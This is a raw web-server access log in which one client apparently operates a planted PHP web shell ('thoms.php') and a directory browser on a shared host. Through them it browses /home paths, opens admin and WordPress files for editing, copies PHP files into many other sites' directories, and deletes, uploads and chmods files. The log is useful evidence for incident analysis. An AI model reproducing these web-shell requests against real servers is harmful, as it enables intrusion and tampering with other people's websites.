45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 9199 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F HTTP/1.1" 200 6546 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F HTTP/1.1" 200 6514 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F&option=folder HTTP/1.1" 200 6544 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F&option=file HTTP/1.1" 200 6559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F HTTP/1.1" 200 6691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F HTTP/1.1" 200 18927 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F&location=%2Fhome%2F HTTP/1.1" 200 5818 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /bft.com.tw/client-global/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fclient-global%2F HTTP/1.1" 200 14445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /thoms.php?edit=license.txt&p=bft.com.tw HTTP/1.1" 200 19827 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=bft.com.tw HTTP/1.1" 200 23480 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18976 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11820 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18269 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p= HTTP/1.1" 200 11981 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18376 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11397 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11437 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11399 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11846 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18984 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11312 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18532 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&p= HTTP/1.1" 200 11952 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18533 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11428 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?edit=xmlrpc.php&p=bft.com.tw HTTP/1.1" 200 13107 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=bft.com.tw HTTP/1.1" 200 16694 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?p=bft.com.tw%2F.well-known&upload= HTTP/1.1" 200 12181 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2F.well-known&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?del=acme-challenge&p=bft.com.tw%2F.well-known HTTP/1.1" 200 12589 "http://163.245.207.76:443/thoms.php?del=acme-challenge&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?p=bft.com.tw%2F.well-known%2Facme-challenge HTTP/1.1" 200 12070 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2F.well-known%2Facme-challenge" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /bft.com.tw/.well-known HTTP/1.1" 301 795 "http://163.245.207.76:443/bft.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /bft.com.tw/.well-known/ HTTP/1.1" 200 774 "https://163.245.207.76:443/bft.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?p=bft.com.tw%2F.well-known&settings=1 HTTP/1.1" 200 11926 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2F.well-known&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:44 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known%2Facme-challenge&p= HTTP/1.1" 200 11969 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known%2Facme-challenge&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?chmod=acme-challenge&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=acme-challenge&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18982 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=upgrade HTTP/1.1" 200 11319 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19055 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17358 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17372 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:46 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 18425 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
